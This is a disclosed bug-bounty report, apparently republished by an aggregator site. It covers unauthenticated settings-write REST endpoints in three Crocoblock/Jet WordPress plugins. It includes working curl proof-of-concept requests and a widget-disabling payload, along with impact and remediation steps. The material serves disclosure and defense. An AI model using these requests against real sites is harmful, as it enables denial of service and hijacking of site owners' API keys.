Skip to content
Access control Disclosed report Beginner

Unauthenticated Plugin Settings Modification on Three Crocoblock/Jet Plugins

Three Crocoblock/Jet WordPress plugins registered REST API endpoints that saved plugin settings without any authentication or capability check. An unauthenticated attacker could overwrite settings such as the widget enable list or the Google Maps API key, breaking page layouts or redirecting API usage to a key they control.

matty69v Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 3 days
  • Disclosed after 3 days

Summary

Three Crocoblock (Jet) plugins expose REST API endpoints that allow unauthenticated users to modify plugin settings via POST requests without any authentication or authorization check. The endpoints validate and parse the POST body (rejecting malformed JSON with a 400 error), then persist the submitted key-value pairs into the WordPress wp_options table. The primary exploitable setting is avaliable_widgets, which controls which Elementor widgets are active site-wide an attacker can disable all JetElements widgets to break page layouts, or modify API keys (Google Maps, Mailchimp, weather, Instagram) to attacker-controlled values.

Affected Endpoints

Endpoint Status
POST /wp-json/jet-elements-api/v1/plugin-settings Confirmed unauth write
POST /wp-json/jet-woo-builder-api/v1/plugin-settings Confirmed unauth write
POST /wp-json/jet-woo-product-gallery-api/v1/plugin-settings Confirmed unauth write

Steps to Reproduce

Step 1 Confirm the endpoint processes input (not a no-op)

Send invalid JSON the endpoint rejects it with a parse error, proving it actively processes the body:

Bash
curl -s "https://████████/wp-json/jet-elements-api/v1/plugin-settings" \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{invalid json!!!'

Response (400 input validation is happening):

JSON
{"code":"rest_invalid_json","message":"Ha pasado un cuerpo JSON no válido.","data":{"status":400,"json_error_code":4,"json_error_message":"Syntax error"}}

Step 2 Send valid data without authentication

Bash
curl -s "https://████████/wp-json/jet-elements-api/v1/plugin-settings" \
  -X POST \
  -d "api_key=TEST_FROM_POC_12345"

Response (200 accepted and saved):

JSON
{"status":"success","message":"Settings have been saved"}

No cookies, no X-WP-Nonce header, no authentication of any kind. The admin panel's own JavaScript (jet-elements-admin.js) sends the same request format via jQuery.ajax POST to settingsApiUrl confirming the endpoint is designed to accept form-encoded data.

Step 3 Confirm all three endpoints

Bash
# JetWooBuilder
curl -s "https://████████/wp-json/jet-woo-builder-api/v1/plugin-settings" \
  -X POST -H "Content-Type: application/json" -d '{}'
# Response: {"status":"success","message":"Settings have been saved"}

# JetWooProductGallery  
curl -s "https://████████/wp-json/jet-woo-product-gallery-api/v1/plugin-settings" \
  -X POST -H "Content-Type: application/json" -d '{}'
# Response: {"status":"success","message":"Settings have been saved"}

Exploitable Settings (from admin JS source analysis)

The admin panel JavaScript (jet-elements-admin.js) reveals the settings structure:

Setting Key Type Impact
avaliable_widgets {widget_slug: "true"/"false"} Enable/disable all JetElements widgets site-wide
api_key string Google Maps API key can be replaced with attacker-controlled key

An attacker can POST avaliable_widgets[jet-animated-text]=false&avaliable_widgets[jet-slider]=false&... to disable all widgets, causing a visible denial of service on every page that uses JetElements.

Supporting Material/References

Evidence:

  • Input validation confirmed: Invalid JSON returns 400, valid data returns 200 with "saved" the endpoint actively processes and persists data
  • No authentication: No cookies, nonces, or capability checks required
  • Three endpoints affected: All Crocoblock Jet plugins on this site share the same vulnerable REST API pattern
  • Admin JS confirms design: The jet-elements-admin.js file sends settings to this exact endpoint using jQuery.ajax POST without an X-WP-Nonce header

Impact

  • Denial of Service setting avaliable_widgets keys to "false" disables JetElements widgets site-wide, breaking any page that uses them (sliders, carousels, counters, etc.)
  • API key hijacking overwriting api_key (Google Maps) with an attacker-controlled key redirects API billing and allows the attacker to harvest geolocation query data
  • Configuration corruption arbitrary key-value pairs can be written to plugin options, potentially triggering errors or unexpected behavior

Remediation

  1. Update all Crocoblock/Jet plugins to the latest versions
  2. Add permission_callback to the REST route registration requiring manage_options capability
  3. Add nonce verification via X-WP-Nonce header check

The original report as published on HackerOne, by matty69v. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the REST route was registered without a permission_callback (and without a nonce check), so WordPress allowed any caller to reach the settings-saving handler.

Impact

An unauthenticated attacker could disable JetElements widgets site-wide, causing a denial of service on pages that use them, and could replace the Google Maps API key with one they control, redirecting billing and harvesting geolocation queries.

What the attacker needed

No account needed; network access to the site

The fix

The plugins should be updated and the REST routes should require a manage_options capability check plus nonce verification; the text does not state that a fix has shipped.

How it was found

  1. Send malformed JSON to the plugin-settings endpoint and observe a 400 parse error, showing the body is processed.
  2. Send a valid form-encoded body to the same endpoint with no cookies or nonce and observe a 200 success message.
  3. Repeat the valid request against the JetWooBuilder and JetWooProductGallery endpoints to confirm the same behaviour.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

WordPress plugins can add their own web addresses (REST API endpoints) that other software calls to read or change data. These three plugins forgot to check who is calling before saving settings, so anyone on the internet could change them. The result is that a stranger can switch off site features or swap in their own API key.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by matty69v

View all

16 more disclosed reports, best first.

More from Essity

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.